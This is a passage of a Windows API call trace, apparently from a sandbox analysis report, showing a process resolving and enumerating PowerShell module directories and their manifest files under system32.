ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2091c8fd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.335] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0242.335] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x42, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", lpFilePart=0x0) returned 0x41 [0242.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.335] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\scheduledtasks"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fb8b03, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2091c8fd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.336] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0242.336] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x3e, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", lpFilePart=0x0) returned 0x3d [0242.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.336] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fb91fe, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.337] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0242.337] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x3b, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", lpFilePart=0x0) returned 0x3a [0242.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.337] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\storage"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fb9d09, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20968dca, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.337] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0242.337] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", nBufferLength=0x37, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", lpFilePart=0x0) returned 0x36 [0242.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.337] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fba32e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20968dca, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.338] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0242.338] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0242.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.338] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fbaba9, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.338] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0242.339] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", nBufferLength=0x49, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", lpFilePart=0x0) returned 0x48 [0242.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.339] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\trustedplatformmodule"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fbbc28, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.339] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0242.339] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x37, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", lpFilePart=0x0) returned 0x36 [0242.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.339] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e5be8c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1fbcd58, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe966970b, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.340] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0242.340] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", nBufferLength=0x3d, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", lpFilePart=0x0) returned 0x3c [0242.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.340] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\vpnclient"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fbd4ae, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.340] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0242.340] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", nBufferLength=0x38, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", lpFilePart=0x0) returned 0x37 [0242.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.341] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\wdac"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205dc90, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.341] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0242.341] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", nBufferLength=0x4b, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", lpFilePart=0x0) returned 0x4a [0242.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.342] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsdeveloperlicense"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205e730, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.342] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0242.342] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x49, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", lpFilePart=0x0) returned 0x48 [0242.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.342] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205efde, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.343] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0242.343] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", nBufferLength=0x41, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", lpFilePart=0x0) returned 0x40 [0242.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.343] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsupdate"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205f3c7, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0242.441] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0242.441] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0242.441] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acb52e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7885418 [0242.442] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acb52e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.442] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0242.442] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0242.442] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0242.443] FindClose (in: hFindFile=0x7885418 | out: hFindFile=0x7885418) returned 1 [0242.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 [0242.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0242.443] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0242.443] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0242.443] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0242.443] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0242.443] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0242.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be85c) returned 1 [0242.443] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5416668 | out: lpFileInformation=0x5416668*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe5a6a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe5a6a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe5a6a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0242.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be858) returned 1 [0242.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be8a4) returned 1 [0242.443] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0242.444] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0242.444] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\*", lpFindFileData=0x87be5cc | out: lpFindFileData=0x87be5cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a686f1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7885698 [0242.444] FindNextFileW (in: hFindFile=0x7885698, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a686f1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.444] FindNextFileW (in: hFindFile=0x7885698, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fef3047, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fef3047, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fef3047, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 1 [0242.444] FindNextFileW (in: hFindFile=0x7885698, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fef3047, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fef3047, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fef3047, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 0 [0242.444] FindClose (in: hFindFile=0x7885698 | out: hFindFile=0x7885698) returned 1 [0242.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 